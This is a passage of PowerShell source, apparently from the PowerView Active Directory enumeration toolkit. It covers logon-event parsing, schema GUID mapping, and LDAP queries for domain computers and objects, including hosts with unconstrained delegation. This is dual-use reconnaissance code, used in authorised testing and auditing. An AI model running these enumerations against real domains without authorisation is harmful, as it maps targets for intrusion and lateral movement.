5611 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
5612 [Alias('dnshostname', 'HostName', 'name')]
5613 [ValidateNotNullOrEmpty()]
5614 [String[]]
5615 $ComputerName = $Env:COMPUTERNAME,
5616
5617 [ValidateNotNullOrEmpty()]
5618 [DateTime]
5619 $StartTime = [DateTime]::Now.AddDays(-1),
5620
5621 [ValidateNotNullOrEmpty()]
5622 [DateTime]
5623 $EndTime = [DateTime]::Now,
5624
5625 [ValidateRange(1, 1000000)]
5626 [Int]
5627 $MaxEvents = 5000,
5628
5629 [Management.Automation.PSCredential]
5630 [Management.Automation.CredentialAttribute()]
5631 $Credential = [Management.Automation.PSCredential]::Empty
5632 )
5633
5634 BEGIN {
5635 # the XML filter we're passing to Get-WinEvent
5636 $XPathFilter = @"
5637<QueryList>
5638 <Query Id="0" Path="Security">
5639
5640 <!-- Logon events -->
5641 <Select Path="Security">
5642 *[
5643 System[
5644 Provider[
5645 @Name='Microsoft-Windows-Security-Auditing'
5646 ]
5647 and (Level=4 or Level=0) and (EventID=4624)
5648 and TimeCreated[
5649 @SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
5650 ]
5651 ]
5652 ]
5653 and
5654 *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
5655 </Select>
5656
5657 <!-- Logon with explicit credential events -->
5658 <Select Path="Security">
5659 *[
5660 System[
5661 Provider[
5662 @Name='Microsoft-Windows-Security-Auditing'
5663 ]
5664 and (Level=4 or Level=0) and (EventID=4648)
5665 and TimeCreated[
5666 @SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
5667 ]
5668 ]
5669 ]
5670 </Select>
5671
5672 <Suppress Path="Security">
5673 *[
5674 System[
5675 Provider[
5676 @Name='Microsoft-Windows-Security-Auditing'
5677 ]
5678 and
5679 (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)
5680 ]
5681 ]
5682 and
5683 *[
5684 EventData[
5685 (
5686 (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0')
5687 or
5688 Data[@Name='TargetUserName']='ANONYMOUS LOGON'
5689 or
5690 Data[@Name='TargetUserSID']='S-1-5-18'
5691 )
5692 ]
5693 ]
5694 </Suppress>
5695 </Query>
5696</QueryList>
5697"@
5698 $EventArguments = @{
5699 'FilterXPath' = $XPathFilter
5700 'LogName' = 'Security'
5701 'MaxEvents' = $MaxEvents
5702 }
5703 if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }
5704 }
5705
5706 PROCESS {
5707 ForEach ($Computer in $ComputerName) {
5708
5709 $EventArguments['ComputerName'] = $Computer
5710
5711 Get-WinEvent @EventArguments| ForEach-Object {
5712 $Event = $_
5713 $Properties = $Event.Properties
5714 Switch ($Event.Id) {
5715 # logon event
5716 4624 {
5717 # skip computer logons, for now...
5718 if(-not $Properties[5].Value.EndsWith('$')) {
5719 $Output = New-Object PSObject -Property @{
5720 ComputerName = $Computer
5721 TimeCreated = $Event.TimeCreated
5722 EventId = $Event.Id
5723 SubjectUserSid = $Properties[0].Value.ToString()
5724 SubjectUserName = $Properties[1].Value
5725 SubjectDomainName = $Properties[2].Value
5726 SubjectLogonId = $Properties[3].Value
5727 TargetUserSid = $Properties[4].Value.ToString()
5728 TargetUserName = $Properties[5].Value
5729 TargetDomainName = $Properties[6].Value
5730 TargetLogonId = $Properties[7].Value
5731 LogonType = $Properties[8].Value
5732 LogonProcessName = $Properties[9].Value
5733 AuthenticationPackageName = $Properties[10].Value
5734 WorkstationName = $Properties[11].Value
5735 LogonGuid = $Properties[12].Value
5736 TransmittedServices = $Properties[13].Value
5737 LmPackageName = $Properties[14].Value
5738 KeyLength = $Properties[15].Value
5739 ProcessId = $Properties[16].Value
5740 ProcessName = $Properties[17].Value
5741 IpAddress = $Properties[18].Value
5742 IpPort = $Properties[19].Value
5743 ImpersonationLevel = $Properties[20].Value
5744 RestrictedAdminMode = $Properties[21].Value
5745 TargetOutboundUserName = $Properties[22].Value
5746 TargetOutboundDomainName = $Properties[23].Value
5747 VirtualAccount = $Properties[24].Value
5748 TargetLinkedLogonId = $Properties[25].Value
5749 ElevatedToken = $Properties[26].Value
5750 }
5751 $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent')
5752 $Output
5753 }
5754 }
5755
5756 # logon with explicit credential
5757 4648 {
5758 # skip computer logons, for now...
5759 if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) {
5760 $Output = New-Object PSObject -Property @{
5761 ComputerName = $Computer
5762 TimeCreated = $Event.TimeCreated
5763 EventId = $Event.Id
5764 SubjectUserSid = $Properties[0].Value.ToString()
5765 SubjectUserName = $Properties[1].Value
5766 SubjectDomainName = $Properties[2].Value
5767 SubjectLogonId = $Properties[3].Value
5768 LogonGuid = $Properties[4].Value.ToString()
5769 TargetUserName = $Properties[5].Value
5770 TargetDomainName = $Properties[6].Value
5771 TargetLogonGuid = $Properties[7].Value
5772 TargetServerName = $Properties[8].Value
5773 TargetInfo = $Properties[9].Value
5774 ProcessId = $Properties[10].Value
5775 ProcessName = $Properties[11].Value
5776 IpAddress = $Properties[12].Value
5777 IpPort = $Properties[13].Value
5778 }
5779 $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent')
5780 $Output
5781 }
5782 }
5783 default {
5784 Write-Warning "No handler exists for event ID: $($Event.Id)"
5785 }
5786 }
5787 }
5788 }
5789 }
5790}
5791
5792
5793function Get-DomainGUIDMap {
5794<#
5795.SYNOPSIS
5796
5797Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain.
5798
5799Author: Will Schroeder (@harmj0y)
5800License: BSD 3-Clause
5801Required Dependencies: Get-DomainSearcher, Get-Forest
5802
5803.DESCRIPTION
5804
5805Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for
5806all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names.
5807Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local)
5808for objects where objectClass=controlAccessRight, translating the GUIDs again.
5809
5810Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
5811
5812.PARAMETER Domain
5813
5814Specifies the domain to use for the query, defaults to the current domain.
5815
5816.PARAMETER Server
5817
5818Specifies an Active Directory server (domain controller) to bind to.
5819
5820.PARAMETER ResultPageSize
5821
5822Specifies the PageSize to set for the LDAP searcher object.
5823
5824.PARAMETER ServerTimeLimit
5825
5826Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
5827
5828.PARAMETER Credential
5829
5830A [Management.Automation.PSCredential] object of alternate credentials
5831for connection to the target domain.
5832
5833.OUTPUTS
5834
5835Hashtable
5836
5837Ouputs a hashtable containing a GUID -> Readable Name mapping.
5838
5839.LINK
5840
5841http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
5842#>
5843
5844 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5845 [OutputType([Hashtable])]
5846 [CmdletBinding()]
5847 Param (
5848 [ValidateNotNullOrEmpty()]
5849 [String]
5850 $Domain,
5851
5852 [ValidateNotNullOrEmpty()]
5853 [Alias('DomainController')]
5854 [String]
5855 $Server,
5856
5857 [ValidateRange(1, 10000)]
5858 [Int]
5859 $ResultPageSize = 200,
5860
5861 [ValidateRange(1, 10000)]
5862 [Int]
5863 $ServerTimeLimit,
5864
5865 [Management.Automation.PSCredential]
5866 [Management.Automation.CredentialAttribute()]
5867 $Credential = [Management.Automation.PSCredential]::Empty
5868 )
5869
5870 $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
5871
5872 $ForestArguments = @{}
5873 if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential }
5874
5875 try {
5876 $SchemaPath = (Get-Forest @ForestArguments).schema.name
5877 }
5878 catch {
5879 throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
5880 }
5881 if (-not $SchemaPath) {
5882 throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
5883 }
5884
5885 $SearcherArguments = @{
5886 'SearchBase' = $SchemaPath
5887 'LDAPFilter' = '(schemaIDGUID=*)'
5888 }
5889 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
5890 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
5891 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
5892 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
5893 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
5894 $SchemaSearcher = Get-DomainSearcher @SearcherArguments
5895
5896 if ($SchemaSearcher) {
5897 try {
5898 $Results = $SchemaSearcher.FindAll()
5899 $Results | Where-Object {$_} | ForEach-Object {
5900 $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
5901 }
5902 if ($Results) {
5903 try { $Results.dispose() }
5904 catch {
5905 Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
5906 }
5907 }
5908 $SchemaSearcher.dispose()
5909 }
5910 catch {
5911 Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
5912 }
5913 }
5914
5915 $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights')
5916 $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)'
5917 $RightsSearcher = Get-DomainSearcher @SearcherArguments
5918
5919 if ($RightsSearcher) {
5920 try {
5921 $Results = $RightsSearcher.FindAll()
5922 $Results | Where-Object {$_} | ForEach-Object {
5923 $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
5924 }
5925 if ($Results) {
5926 try { $Results.dispose() }
5927 catch {
5928 Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
5929 }
5930 }
5931 $RightsSearcher.dispose()
5932 }
5933 catch {
5934 Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
5935 }
5936 }
5937
5938 $GUIDs
5939}
5940
5941
5942function Get-DomainComputer {
5943<#
5944.SYNOPSIS
5945
5946Return all computers or specific computer objects in AD.
5947
5948Author: Will Schroeder (@harmj0y)
5949License: BSD 3-Clause
5950Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
5951
5952.DESCRIPTION
5953
5954Builds a directory searcher object using Get-DomainSearcher, builds a custom
5955LDAP filter based on targeting/filter parameters, and searches for all objects
5956matching the criteria. To only return specific properties, use
5957"-Properties samaccountname,usnchanged,...". By default, all computer objects for
5958the current domain are returned.
5959
5960.PARAMETER Identity
5961
5962A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
5963SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
5964or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
5965
5966.PARAMETER UACFilter
5967
5968Dynamic parameter that accepts one or more values from $UACEnum, including
5969"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
5970
5971.PARAMETER Unconstrained
5972
5973Switch. Return computer objects that have unconstrained delegation.
5974
5975.PARAMETER TrustedToAuth
5976
5977Switch. Return computer objects that are trusted to authenticate for other principals.
5978
5979.PARAMETER Printers
5980
5981Switch. Return only printers.
5982
5983.PARAMETER SPN
5984
5985Return computers with a specific service principal name, wildcards accepted.
5986
5987.PARAMETER OperatingSystem
5988
5989Return computers with a specific operating system, wildcards accepted.
5990
5991.PARAMETER ServicePack
5992
5993Return computers with a specific service pack, wildcards accepted.
5994
5995.PARAMETER SiteName
5996
5997Return computers in the specific AD Site name, wildcards accepted.
5998
5999.PARAMETER Ping
6000
6001Switch. Ping each host to ensure it's up before enumerating.
6002
6003.PARAMETER Domain
6004
6005Specifies the domain to use for the query, defaults to the current domain.
6006
6007.PARAMETER LDAPFilter
6008
6009Specifies an LDAP query string that is used to filter Active Directory objects.
6010
6011.PARAMETER Properties
6012
6013Specifies the properties of the output object to retrieve from the server.
6014
6015.PARAMETER SearchBase
6016
6017The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
6018Useful for OU queries.
6019
6020.PARAMETER Server
6021
6022Specifies an Active Directory server (domain controller) to bind to.
6023
6024.PARAMETER SearchScope
6025
6026Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
6027
6028.PARAMETER ResultPageSize
6029
6030Specifies the PageSize to set for the LDAP searcher object.
6031
6032.PARAMETER ServerTimeLimit
6033
6034Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
6035
6036.PARAMETER SecurityMasks
6037
6038Specifies an option for examining security information of a directory object.
6039One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
6040
6041.PARAMETER Tombstone
6042
6043Switch. Specifies that the searcher should also return deleted/tombstoned objects.
6044
6045.PARAMETER FindOne
6046
6047Only return one result object.
6048
6049.PARAMETER Credential
6050
6051A [Management.Automation.PSCredential] object of alternate credentials
6052for connection to the target domain.
6053
6054.PARAMETER Raw
6055
6056Switch. Return raw results instead of translating the fields into a custom PSObject.
6057
6058.EXAMPLE
6059
6060Get-DomainComputer
6061
6062Returns the current computers in current domain.
6063
6064.EXAMPLE
6065
6066Get-DomainComputer -SPN mssql* -Domain testlab.local
6067
6068Returns all MS SQL servers in the testlab.local domain.
6069
6070.EXAMPLE
6071
6072Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname
6073
6074Return the dns hostnames of servers trusted for delegation.
6075
6076.EXAMPLE
6077
6078Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained
6079
6080Search the specified OU for computeres that allow unconstrained delegation.
6081
6082.EXAMPLE
6083
6084$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
6085$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
6086Get-DomainComputer -Credential $Cred
6087
6088.OUTPUTS
6089
6090PowerView.Computer
6091
6092Custom PSObject with translated computer property fields.
6093
6094PowerView.Computer.Raw
6095
6096The raw DirectoryServices.SearchResult object, if -Raw is enabled.
6097#>
6098
6099 [OutputType('PowerView.Computer')]
6100 [OutputType('PowerView.Computer.Raw')]
6101 [CmdletBinding()]
6102 Param (
6103 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
6104 [Alias('SamAccountName', 'Name', 'DNSHostName')]
6105 [String[]]
6106 $Identity,
6107
6108 [Switch]
6109 $Unconstrained,
6110
6111 [Switch]
6112 $TrustedToAuth,
6113
6114 [Switch]
6115 $Printers,
6116
6117 [ValidateNotNullOrEmpty()]
6118 [Alias('ServicePrincipalName')]
6119 [String]
6120 $SPN,
6121
6122 [ValidateNotNullOrEmpty()]
6123 [String]
6124 $OperatingSystem,
6125
6126 [ValidateNotNullOrEmpty()]
6127 [String]
6128 $ServicePack,
6129
6130 [ValidateNotNullOrEmpty()]
6131 [String]
6132 $SiteName,
6133
6134 [Switch]
6135 $Ping,
6136
6137 [ValidateNotNullOrEmpty()]
6138 [String]
6139 $Domain,
6140
6141 [ValidateNotNullOrEmpty()]
6142 [Alias('Filter')]
6143 [String]
6144 $LDAPFilter,
6145
6146 [ValidateNotNullOrEmpty()]
6147 [String[]]
6148 $Properties,
6149
6150 [ValidateNotNullOrEmpty()]
6151 [Alias('ADSPath')]
6152 [String]
6153 $SearchBase,
6154
6155 [ValidateNotNullOrEmpty()]
6156 [Alias('DomainController')]
6157 [String]
6158 $Server,
6159
6160 [ValidateSet('Base', 'OneLevel', 'Subtree')]
6161 [String]
6162 $SearchScope = 'Subtree',
6163
6164 [ValidateRange(1, 10000)]
6165 [Int]
6166 $ResultPageSize = 200,
6167
6168 [ValidateRange(1, 10000)]
6169 [Int]
6170 $ServerTimeLimit,
6171
6172 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
6173 [String]
6174 $SecurityMasks,
6175
6176 [Switch]
6177 $Tombstone,
6178
6179 [Alias('ReturnOne')]
6180 [Switch]
6181 $FindOne,
6182
6183 [Management.Automation.PSCredential]
6184 [Management.Automation.CredentialAttribute()]
6185 $Credential = [Management.Automation.PSCredential]::Empty,
6186
6187 [Switch]
6188 $Raw
6189 )
6190
6191 DynamicParam {
6192 $UACValueNames = [Enum]::GetNames($UACEnum)
6193 # add in the negations
6194 $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
6195 # create new dynamic parameter
6196 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
6197 }
6198
6199 BEGIN {
6200 $SearcherArguments = @{}
6201 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
6202 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
6203 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
6204 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
6205 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
6206 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
6207 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
6208 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
6209 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
6210 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
6211 $CompSearcher = Get-DomainSearcher @SearcherArguments
6212 }
6213
6214 PROCESS {
6215 #bind dynamic parameter to a friendly variable
6216 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
6217 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
6218 }
6219
6220 if ($CompSearcher) {
6221 $IdentityFilter = ''
6222 $Filter = ''
6223 $Identity | Where-Object {$_} | ForEach-Object {
6224 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
6225 if ($IdentityInstance -match '^S-1-') {
6226 $IdentityFilter += "(objectsid=$IdentityInstance)"
6227 }
6228 elseif ($IdentityInstance -match '^CN=') {
6229 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
6230 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
6231 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
6232 # and rebuild the domain searcher
6233 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
6234 Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
6235 $SearcherArguments['Domain'] = $IdentityDomain
6236 $CompSearcher = Get-DomainSearcher @SearcherArguments
6237 if (-not $CompSearcher) {
6238 Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
6239 }
6240 }
6241 }
6242 elseif ($IdentityInstance.Contains('.')) {
6243 $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
6244 }
6245 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
6246 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
6247 $IdentityFilter += "(objectguid=$GuidByteString)"
6248 }
6249 else {
6250 $IdentityFilter += "(name=$IdentityInstance)"
6251 }
6252 }
6253 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
6254 $Filter += "(|$IdentityFilter)"
6255 }
6256
6257 if ($PSBoundParameters['Unconstrained']) {
6258 Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
6259 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
6260 }
6261 if ($PSBoundParameters['TrustedToAuth']) {
6262 Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
6263 $Filter += '(msds-allowedtodelegateto=*)'
6264 }
6265 if ($PSBoundParameters['Printers']) {
6266 Write-Verbose '[Get-DomainComputer] Searching for printers'
6267 $Filter += '(objectCategory=printQueue)'
6268 }
6269 if ($PSBoundParameters['SPN']) {
6270 Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
6271 $Filter += "(servicePrincipalName=$SPN)"
6272 }
6273 if ($PSBoundParameters['OperatingSystem']) {
6274 Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
6275 $Filter += "(operatingsystem=$OperatingSystem)"
6276 }
6277 if ($PSBoundParameters['ServicePack']) {
6278 Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
6279 $Filter += "(operatingsystemservicepack=$ServicePack)"
6280 }
6281 if ($PSBoundParameters['SiteName']) {
6282 Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
6283 $Filter += "(serverreferencebl=$SiteName)"
6284 }
6285 if ($PSBoundParameters['LDAPFilter']) {
6286 Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
6287 $Filter += "$LDAPFilter"
6288 }
6289 # build the LDAP filter for the dynamic UAC filter value
6290 $UACFilter | Where-Object {$_} | ForEach-Object {
6291 if ($_ -match 'NOT_.*') {
6292 $UACField = $_.Substring(4)
6293 $UACValue = [Int]($UACEnum::$UACField)
6294 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
6295 }
6296 else {
6297 $UACValue = [Int]($UACEnum::$_)
6298 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
6299 }
6300 }
6301
6302 $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
6303 Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
6304
6305 if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
6306 else { $Results = $CompSearcher.FindAll() }
6307 $Results | Where-Object {$_} | ForEach-Object {
6308 $Up = $True
6309 if ($PSBoundParameters['Ping']) {
6310 $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
6311 }
6312 if ($Up) {
6313 if ($PSBoundParameters['Raw']) {
6314 # return raw result objects
6315 $Computer = $_
6316 $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
6317 }
6318 else {
6319 $Computer = Convert-LDAPProperty -Properties $_.Properties
6320 $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
6321 }
6322 $Computer
6323 }
6324 }
6325 if ($Results) {
6326 try { $Results.dispose() }
6327 catch {
6328 Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
6329 }
6330 }
6331 $CompSearcher.dispose()
6332 }
6333 }
6334}
6335
6336
6337function Get-DomainObject {
6338<#
6339.SYNOPSIS
6340
6341Return all (or specified) domain objects in AD.
6342
6343Author: Will Schroeder (@harmj0y)
6344License: BSD 3-Clause
6345Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
6346
6347.DESCRIPTION
6348
6349Builds a directory searcher object using Get-DomainSearcher, builds a custom
6350LDAP filter based on targeting/filter parameters, and searches for all objects
6351matching the criteria. To only return specific properties, use
6352"-Properties samaccountname,usnchanged,...". By default, all objects for
6353the current domain are returned.
6354
6355.PARAMETER Identity
6356
6357A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
6358SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
6359Wildcards accepted.
6360
6361.PARAMETER UACFilter
6362
6363Dynamic parameter that accepts one or more values from $UACEnum, including
6364"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
6365
6366.PARAMETER Domain
6367
6368Specifies the domain to use for the query, defaults to the current domain.
6369
6370.PARAMETER LDAPFilter
6371
6372Specifies an LDAP query string that is used to filter Active Directory objects.
6373
6374.PARAMETER Properties
6375
6376Specifies the properties of the output object to retrieve from the server.
6377
6378.PARAMETER SearchBase
6379
6380The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
6381Useful for OU queries.
6382
6383.PARAMETER Server
6384
6385Specifies an Active Directory server (domain controller) to bind to.
6386
6387.PARAMETER SearchScope
6388
6389Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
6390
6391.PARAMETER ResultPageSize
6392
6393Specifies the PageSize to set for the LDAP searcher object.
6394
6395.PARAMETER ServerTimeLimit
6396
6397Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
6398
6399.PARAMETER SecurityMasks
6400
6401Specifies an option for examining security information of a directory object.
6402One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
6403
6404.PARAMETER Tombstone
6405
6406Switch. Specifies that the searcher should also return deleted/tombstoned objects.
6407
6408.PARAMETER FindOne
6409
6410Only return one result object.
6411
6412.PARAMETER Credential
6413
6414A [Management.Automation.PSCredential] object of alternate credentials
6415for connection to the target domain.
6416
6417.PARAMETER Raw
6418
6419Switch. Return raw results instead of translating the fields into a custom PSObject.
6420
6421.EXAMPLE
6422
6423Get-DomainObject -Domain testlab.local
6424
6425Return all objects for the testlab.local domain
6426
6427.EXAMPLE
6428
6429'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
6430
6431distinguishedname
6432-----------------
6433CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
6434CN=dfm,CN=Users,DC=testlab,DC=local
6435OU=OU3,DC=testlab,DC=local
6436CN=dfm (admin),CN=Users,DC=testlab,DC=local
6437
6438.EXAMPLE
6439
6440$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
6441$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
6442Get-DomainObject -Credential $Cred -Identity 'windows1'
6443
6444.EXAMPLE
6445
6446Get-Domain | Select-Object -Expand name
6447testlab.local
6448
6449'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
6450VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
6451VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
6452VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
6453VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
6454
6455distinguishedname
6456-----------------
6457CN=harmj0y,CN=Users,DC=testlab,DC=local
6458VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
6459VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
6460VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
6461CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
6462
6463.OUTPUTS
6464
6465PowerView.ADObject
6466
6467Custom PSObject with translated AD object property fields.
6468
6469PowerView.ADObject.Raw
6470
6471The raw DirectoryServices.SearchResult object, if -Raw is enabled.
6472#>
6473
6474 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
6475 [OutputType('PowerView.ADObject')]
6476 [OutputType('PowerView.ADObject.Raw')]
6477 [CmdletBinding()]
6478 Param(
6479 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
6480 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
6481 [String[]]
6482 $Identity,
6483
6484 [ValidateNotNullOrEmpty()]
6485 [String]
6486 $Domain,
6487
6488 [ValidateNotNullOrEmpty()]
6489 [Alias('Filter')]
6490 [String]
6491 $LDAPFilter,
6492
6493 [ValidateNotNullOrEmpty()]
6494 [String[]]
6495 $Properties,
6496
6497 [ValidateNotNullOrEmpty()]
6498 [Alias('ADSPath')]
6499 [String]
6500 $SearchBase,
6501
6502 [ValidateNotNullOrEmpty()]
6503 [Alias('DomainController')]
6504 [String]
6505 $Server,
6506
6507 [ValidateSet('Base', 'OneLevel', 'Subtree')]
6508 [String]
6509 $SearchScope = 'Subtree',
6510
6511 [ValidateRange(1, 10000)]
6512 [Int]
6513 $ResultPageSize = 200,
6514
6515 [ValidateRange(1, 10000)]
6516 [Int]
6517 $ServerTimeLimit,
6518
6519 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
6520 [String]
6521 $SecurityMasks,
6522
6523 [Switch]
6524 $Tombstone,
6525
6526 [Alias('ReturnOne')]
6527 [Switch]
6528 $FindOne,
6529
6530 [Management.Automation.PSCredential]
6531 [Management.Automation.CredentialAttribute()]
6532 $Credential = [Management.Automation.PSCredential]::Empty,
6533
6534 [Switch]
6535 $Raw
6536 )
6537
6538 DynamicParam {
